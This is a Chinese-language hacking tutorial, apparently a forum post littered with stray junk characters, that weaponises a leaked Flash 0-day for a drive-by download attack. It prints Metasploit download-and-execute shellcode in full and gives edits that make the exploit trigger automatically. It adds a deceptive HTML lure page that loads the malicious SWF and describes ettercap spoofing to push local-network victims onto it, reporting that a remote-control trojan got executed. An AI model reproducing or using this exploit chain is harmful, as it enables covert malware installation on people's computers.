( m ?3 `* ~. b8 T* D5 S
三、flash 0day之手工代码修改制作下载者实例入侵演示
, f3 [6 A/ @0 f. {
2 \. o& p9 d9 \& L: u L% C- V' N# J* U3 ~ N% q7 i) H j1 c( G
利用到的工具: / w* c* a* P; s U$ C5 P
, H$ A0 i. J' z+ L, O" U" J2 r
5 A# m0 F! j% z+ ]/ K* N- F3 | Msf
) h2 t4 {' s' G c) s+ @4 e+ k 4 u# g3 F3 h( `7 K8 S
9 ^% t- g6 J9 i' d( Y) |
Ettercap : }6 w, Q r2 _3 f5 Y8 u
3 j2 [: u. [ {" ^7 J+ j* F
* B9 V, t+ z5 U+ D8 C6 i Adobe Flash CS6 ; w7 }9 o6 a2 v' m. _1 J
$ x( o6 t2 k* b1 J6 V& R
" b! V3 Q6 F0 ]. }* s, \
Hacking Team Flash 0day-可冲破Chrome沙盒-Evil0X源代码一份
: V d$ I1 V5 t/ X: Z4 A $ m2 K7 z/ \! H0 `; Y5 Q3 }
, d8 b, }, o$ K+ U; ?) U
下面我们就开始演示入侵,利用msf生成shellcode,首先打开msf执行use windows/download_exec,show options 9 H3 E" ?: q/ o# Q
% g) L$ ~" A& Y2 B
) B! ?" S9 l) N
如图: % e& E2 D- t% }' x
, m9 B! h6 B0 }( {: a$ V
; u9 T4 i1 t. J4 B" G5 m0 s0 f
3 ?' f8 J& A& S# j: y8 F
* R4 ~5 m9 l2 j6 V. X' {
4 R) b- ]: y6 a) Q9 e) [. ^
* C7 Q0 J" q2 u. ~ 1 q1 H2 @. _; n: {4 X) V! T7 l
9 \) e/ S; `- Y/ I8 b* L( D 然后set EXE system.exe,再执行set URL,需要说明一下URL就是我们的马的下载地址,这里我们用远控马,远控配置使用不再详细说明。。。如图:
. ~7 b$ g: e+ I7 W/ S2 Q$ F4 G) d ! C7 {6 z* A+ r3 |8 R9 V& Y
* u# l* i& B& S
7 a8 e8 ~0 T! L: w' A- A2 a
4 p' D" F# r/ _, k* p8 a5 i! m; a8 |% ]. H: I6 p: i" x
9 x8 \* S, C( z+ }, I5 z
) O& m1 x$ y2 `0 w4 o7 n* W) t
1 t$ L1 l6 ? w 然后执行generate -t dword生成shellcode,如下:
1 ~* ^7 G/ o- m( A2 |+ Z
6 D2 Y" T6 Q( J ]- H' T" G c/ P$ [" C# }/ O4 t
9 B; A: _) i9 _7 d) [7 Y1 a; \
# F- t# x( Q O0 y" b& R
3 x$ y& K" O7 ]" C 复制代码到文本下便于我们一会编辑flash exp,如下:
) e% {0 u1 F2 Y, a; }# d6 q2 v # Y! z9 E1 H5 D9 g$ N+ [3 @% l
; S8 K1 |' M/ f. f4 B1 A 0x0089e8fc, 0x89600000, 0x64d231e5, 0x8b30528b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0xc031ff31, # M7 x: d8 i- Y3 U# y
- t9 ]0 ^' n4 }# V" P2 F% U9 s; j: h( O; H8 y5 s1 j1 c% h
0x7c613cac, 0xc1202c02, 0xc7010dcf, 0x5752f0e2, 0x8b10528b, 0xd0013c42, 0x8578408b, 0x014a74c0, 0 _3 M; n+ e7 o% h( ^6 t
- m2 r8 L6 [9 `) ]
9 T0 P0 o3 L# P/ F. K# v5 e
0x488b50d0, 0x20588b18, 0x3ce3d301, 0x8b348b49, 0xff31d601, 0xc1acc031, 0xc7010dcf, 0xf475e038,
, l9 R6 ]6 X0 K: K+ m" T # I5 F! w& s$ v. n) Y
& ~% f) j* `- O* x
0x3bf87d03, 0xe275247d, 0x24588b58, 0x8b66d301, 0x588b4b0c, 0x8bd3011c, 0xd0018b04, 0x24244489,
, C' m5 z! m( F, z3 y# ]6 O: G- z
: I( [: u m$ O% ~) U. A# b' e4 q
3 d% v* i: V) D) Q8 y3 n 0x59615b5b, 0xe0ff515a, 0x8b5a5f58, 0x5d86eb12, 0x74656e68, 0x69776800, 0xe689696e, 0x774c6854, ( o* l' K. X# r3 {3 d/ ?, \5 V
7 A9 W3 v5 A" F+ J$ [8 a
4 a( ?& Z) H! Y$ `3 [5 i) U 0xd5ff0726, 0x5757ff31, 0x68565757, 0xa779563a, 0x60ebd5ff, 0x51c9315b, 0x51036a51, 0x53506a51, # `: X& L7 O5 A$ ^/ A* B2 m
( N- G4 `& a) u- {5 b J8 J0 N x0 V
8 a: _* i' }' ^8 L' a& @5 K
0x89576850, 0xd5ffc69f, 0x31594feb, 0x006852d2, 0x52846032, 0x52515252, 0x55eb6850, 0xd5ff3b2e, # [( P; c! d3 E) T; O! {
. q |! u* U& \/ b9 L6 b. Z% s" F# q: p. U$ m7 e9 _9 _
0x106ac689, 0x3380685b, 0xe0890000, 0x6a50046a, 0x7568561f, 0xff869e46, 0x57ff31d5, 0x56575757, & Z0 V8 W# L, r8 N* o7 W- z
$ ?8 R: b" w& z' U {/ Z; R1 W
: L$ Z& X g8 w- t f n* w/ c 0x18062d68, 0x85d5ff7b, 0x4b1f75c0, 0x007c840f, 0xd1eb0000, 0x00008ee9, 0xfface800, 0x732fffff,
. i/ P0 T$ @: `$ v, i * A& w- j I8 v+ A! l& l
& o* x: h- \& L( m9 P/ G
0x65747379, 0x78652e6d, 0x6beb0065, 0x505fc031, 0x026a026a, 0x6a026a50, 0xda685702, 0xff4fdaf6, # t* ?# v- P% m' i$ v
; X, j0 `% [% R% t
4 {2 T; u# T) T& a+ U
0xc03193d5, 0x0304b866, 0x8d54c429, 0x3108244c, 0x5003b4c0, 0x12685651, 0xffe28996, 0x74c085d5, & Z1 P/ q6 `! V: h8 b' e
+ {. f/ {7 d; E) [: E& [- X- d6 y9 q9 \3 j. a% `
0xc085582d, 0x006a1674, 0x448d5054, 0x53500c24, 0xae572d68, 0x83d5ff5b, 0xceeb04ec, 0x96c66853, - ^2 {8 E3 B1 D: X
- o2 y) m q, A3 @' ~4 H, N- i, [4 n
0xd5ff5287, 0x6857006a, 0x876f8b31, 0x006ad5ff, 0xa2b5f068, 0xe8d5ff56, 0xffffff90, 0x74737973, 1 }: N$ i, u" ~4 n; r3 ^
2 u; ~' z' B* B3 j. L% d( b
: s' _7 z) ] f" X- N 0x652e6d65, 0xe8006578, 0xffffff08, 0x2e737378, 0x64696162, 0x6b682e6f, 0x00000000 & b; N% J3 g D7 U+ l6 L# n( h
# Y- n; a4 x9 S3 G
5 g! `/ ?: z! [3 y6 [# P
' q4 }) x3 k2 x" { ( Y1 w. @. A! ~' U; M3 H/ w4 r
0 y- L5 X, u B/ m5 O3 I$ N
" Z/ B& {6 g2 e0 G0 X( n# t * O- i2 j* M, T8 Q# \ r
# w* o% w C4 u5 P M# H( g7 S! w 下面我们来修改flash 0day exp,需要修改三个文件,分别为: 1 V6 q! L9 P: ?# [6 o
: ]( { l6 \. x+ [ o
! _0 F: L0 G% s' {* n' _+ D
7 P% B- F/ X! H2 z T% r
% }! z) u3 W' f B& _/ s0 r: V" a! x0 I& x. J
先修改ShellWin32.as,部分源代码如图: ) `' w$ o \. q2 x; I0 k% U. N: X
, U+ n& G+ }! l" p& S: D
" a" r' ^& G& M5 d; f+ \
3 L, n; X r4 t2 r& |% L3 }; s ! L- E4 o4 z1 K
& \ h3 U3 t3 J! j0 w) i. w
我们需要把标记处[]中的代码改成用msf生成的代码,修改后如下:
( n. e b" K0 M1 l1 ?# U
: c& q2 W" a, P" G3 w9 K+ u3 [9 A. c/ t8 Q0 @, P% Y, I
^3 c+ \- i1 q* |3 w! s1 o' ~% l
. ]9 @7 @, I5 `; m7 s9 f8 ]5 Q8 z' ^+ n( D4 |! v9 b' ^! p0 w
然后保存,ShellWin64.as的修改方法如上述,不再演示,下面我们来修改myclass.as,这里需要说明一下,因为此exp生成的利用程序,不能直接自动触发flash漏洞,也就是需要点击按钮才可以,实际上在做渗透的时候需要把它搞得更完美,所以就需要修改,修改方法:搜索myclass的某个字符doc.addchild(btn);如图:
# G* { }" s& \, o+ w$ H) g+ y9 c) s
+ J( s) K+ d! q
% N5 I" ] I% R0 v2 w' i 1 F+ V Q: ]+ R/ H) h8 h% {
' [/ U, r( q4 X- b" R2 W% `% j7 l
4 j( B; o/ B0 E; H/ U3 X/ s 换行在后面加一句TryExpl();注意是l不是数字1,然后如图:
5 m; C6 v1 Y. A" _ ; O& x& Z. B4 H. [; s
5 _* O2 K4 d( C4 i! R
# K* W5 X' t* x
7 J! r3 y. q G y; C5 ]; L3 Q K0 K3 ^8 e
8 m- v+ k M1 n0 n' ?8 b * a! G% Q4 ]1 L, I* ~
4 ^% O$ M' k, b4 f- r1 o; h
8 W, F5 Y6 J b4 h
, a& D! n! }( ^3 V
6 N6 k1 E% ?1 i l0 }, l 然后点保存,下面我们来编译一下,打开
. h4 [" {$ C! J. i7 \ * p9 Q1 V3 C/ i
- d8 J/ C, [7 N5 h exp1.fla然后点文件-发布,看看编译没错误
. m2 ~9 @9 g- D/ n
8 L1 C& V( v+ `( B. j% o- [/ W. a4 }/ t. g$ }
# e) f$ M4 L- ` ( `3 V" f6 I4 p: D- M) X# r
) a5 [- @7 P1 a: _
+ l+ s. H5 A5 l7 P & d) ]! V$ i& T- m$ S% @: a! o
1 i" A2 d7 ?$ [. i
3 ~- l3 C! t& T* ?, E# A
9 g% w$ d, |: _' W9 I* ]$ v2 b7 U; G8 o/ O0 q% E
" j. H& |5 V2 W- ]$ X ' I o7 \7 `* E2 E# y! ~. F. Q _7 ?
7 [1 G; v G5 B* G% f, x4 W+ Q. d
然后我们把生成的
1 v) h( u0 [9 L( P8 L7 ]6 B : |, Q( J. w+ J j# g! [
8 h- \! T5 U6 x8 R exp1.swf丢到kailinux 的/var/www/html下: 8 x! l' J: }( A S
: w) a' k T+ S) ^) i' G, h6 B# `) S2 z$ Z) {( a- b6 z
然后把这段代码好好编辑一下 3 l9 | H* J4 l q& f* g
4 z4 n9 a1 y, | I; E% g/ P* p
2 P1 f7 W0 E% E; J& t
" o3 M, X$ V# H _1 v2 B " i$ c" }; l& z, N, K7 o
9 H" {% q7 b8 V0 c- i R, o4 p
2 R1 t! O4 \$ V' r2 y; u; n) h3 C1 p3 i 4 h" i; M: `' R* N% i5 `
( r" T1 a" E/ `; c. z
+ B. A8 `3 a$ w$ d' F
& [/ g' L- k7 X5 C! Z2 R- T
4 q7 g9 {2 o; ^8 R
. F" `1 j4 s& o: _
( E% b- Z c' N" ~" X& K
- D. z# n3 Z, O ) u4 p# d0 ]0 Z% C
5 i: G/ v7 q) S. Y/ @" Q# r
( C9 G6 a3 B! |6 b) E* [/ z
8 s) Q- Z0 i9 M3 x
# ]6 N0 m% A6 r2 k+ d0 _0 O; k; b$ g
<!DOCTYPE html> - {/ C6 g3 Z$ b; K7 J) p4 @6 m
9 j w$ N! d0 q# g
" R* R/ f7 M, r( t. S9 X6 \3 o
<html>
2 P2 L; }0 O+ t. q5 K. } ; S' @& X7 p# `0 d/ B
" u2 h- u: j- r& I
<head>
, W+ w$ e& o8 Q; j' ^- e
( y# {9 L9 X# J7 D' s+ p# l- o+ ?" `; `% v! h. c
<meta http-equiv="Content-Type" content="text/html;
: o' r v" q0 M; R$ h 7 X0 x4 z- ^3 C. \
* J: M$ x* `) C' j
charset=utf-8"/>
" `! A8 |% n' Q$ p3 C0 _0 v0 _4 N. S8 Y / O( R9 m* z9 _& G' M! L
( w3 y( \% i, _# u
</head> k4 y4 X& i) L
4 Q' t: q1 D* f S2 s5 L: b
; m: [8 e* G- w, a! M8 Y <body>
# T- ~; M! F. l, w# c/ X* q" E 9 X1 u4 ~: {/ V% z( M" O: Y
Q1 \ W/ ]2 Z. w8 `0 }2 h
<h2> Please wait, the requested page is loading...</h2> ' W5 ^7 i, S$ x' V; O
+ l B8 B3 J8 l- X, D! z' S
+ x" J. o5 o. U6 W7 M! o. B
<br> 5 n" T) i" w9 n+ `, C2 d
6 I9 G7 _ ` p& }
, ~: r: b; V9 p9 a8 r <OBJECT 5 X1 J* W. U' r+ l% W6 M3 i, H, \
X5 E# e' i# O( D, J! n2 X3 k! ~) F4 w: t1 M) x
classid="clsid27CDB6E-AE6D-11cf-96B8-444553540000" WIDTH="50" HEIGHT="50" id="4"><ARAM NAME=movie # E' n' ^" w% T
) u, P, `- a0 R q) l" s! ~% {2 A- k% B$ z" M+ }5 R
VALUE="http://192.168.0.109/exp1.swf"></OBJECT> # n" d3 U$ ]2 n- H- h# f3 g7 P
) ?3 j; \' X7 t4 Q5 v( F7 ]7 ~* j
! w( [! {- `( \/ K
</body>
- Y" ]( H% B4 N! T# U7 X- N9 _3 b
: [" s% i+ y# B
6 F& r# j: ^7 m" p <script> * o) f5 A8 ^3 Q* p a( f& z
9 K# g: a) f I. @3 q. G, W$ y* B0 o8 P2 R: I; @/ c) F
setTimeout(function () { , A! A+ T9 H+ {& n2 e4 h; i2 n5 ~- a
$ [" J! d# [; |
, p+ r8 X3 f2 O9 T% z 4 g$ p. w9 J- `; l# G2 P
" b; }7 R8 G6 r
8 S' H9 A7 Y, Y! y8 |
window.location.reload();
. N$ h& u3 _ M# @4 b7 j* k6 m ) |+ s$ L# H5 x; K
* Y+ E4 d% \7 N) F" g/ x' k4 m }, 10000);
1 U& X @, c s F5 y- \9 G
5 a2 C$ ?% L' K) l V" Y* x, m0 v3 f( h; u; D2 r5 u+ d4 G
3 s* k( D# n2 [, G' O# x' O
+ ]" e8 A) r& \6 i' P: _, M% I$ x% E4 D) K; g4 i
</script> 4 K* v8 j6 n' B& s
9 M4 u' J" ~! w1 {7 A
. x( R& s4 r5 ?: a9 |( q) H </html> ! w3 [/ u/ Z6 i" u
3 n0 a8 R) t# z
/ B$ A, i9 Y0 ?
. O3 x9 y+ j i4 `' l 2 K- p! {' T. m/ v% @: G# c
1 h+ I& a+ L: q4 ?; M$ Y- U
注意:192.168.0.109是kali的ip地址,这时候我们需要service apache2 start启动一下web服务,然后将上面的html保存为index.htm同样丢到kali web目录下,测试访问链接存在如图: ) @* b, n$ e- P
1 @2 Q! ~0 P" E' b
5 \) @* `0 ^* V
- X9 b( p' D7 t# O% v4 K5 n# g8 t
) C# \4 \9 c9 { G
8 P9 P, v! E' v& ^1 _/ T: G4 T
; N4 W' u' y6 K) z3 q 0 t; x! o) M+ C3 e' d4 m; w8 X
# J& b9 A& }, |# Y N
/ p( \' B" s2 N- R5 b6 x
/ q1 Y, n+ X* ~% U! R
; P* s1 \/ @/ o6 J+ a) \" |( o
9 P8 n: N9 r3 h6 R- k
+ }# e/ P) I5 K: k; z
! j; _; y1 r* \2 c& w) l7 y
* T+ g5 `6 D- |1 f6 ]+ {
& O" f% O8 S( t8 h
; [1 a) T5 q4 U" R8 O; ~" } 下面我们用ettercap欺骗如图: 2 H1 P4 y6 X- {6 Y# _* n& T- i2 y
, x1 i$ [6 w/ S. b% ?2 B0 S
+ P4 w# U/ [# r; F3 S6 Z
, Q, M- o$ ?+ C* a( J, n, G! w# P# \
- F7 h5 s. n6 \7 p
* c+ m: o% U; T) K5 k
6 L6 C, t2 x! Q* l( b u* h* c 0 U) G) |# c8 ]8 `1 c$ t" X
6 W5 @; G1 {/ ?2 F& T# b9 v 下面我们随便访问个网站看看: 4 X9 L- k8 T7 s/ l! i" p1 ~" T
# {2 h" d/ y7 r) J4 O. H2 J
9 P. z3 w4 S; q& p% C2 f
我靠我发现直接用ettercap欺骗物理机装了腾讯管家照样可以欺骗成功,如图: B6 y u2 o6 j7 ^' S7 c' W
% R" r/ `: R5 i. Q' G% w/ Q
6 @. B9 \5 F( l7 s ; d+ g" u; U9 K; ^) v
# Z' \- S7 O. h' E/ F( m) j
$ _6 f% ]6 n: t; d, H$ } 我们看另一台,
E' K' i( d& a$ l* f) m. d 6 d& P# E6 M$ [$ S$ `3 T
- v4 O9 @. g* E" s
提示这个错误,说明木马是成功被下载执行了,只是由于某些原因没上线而已。。。 0 c/ R- ^9 E6 O# n* N
|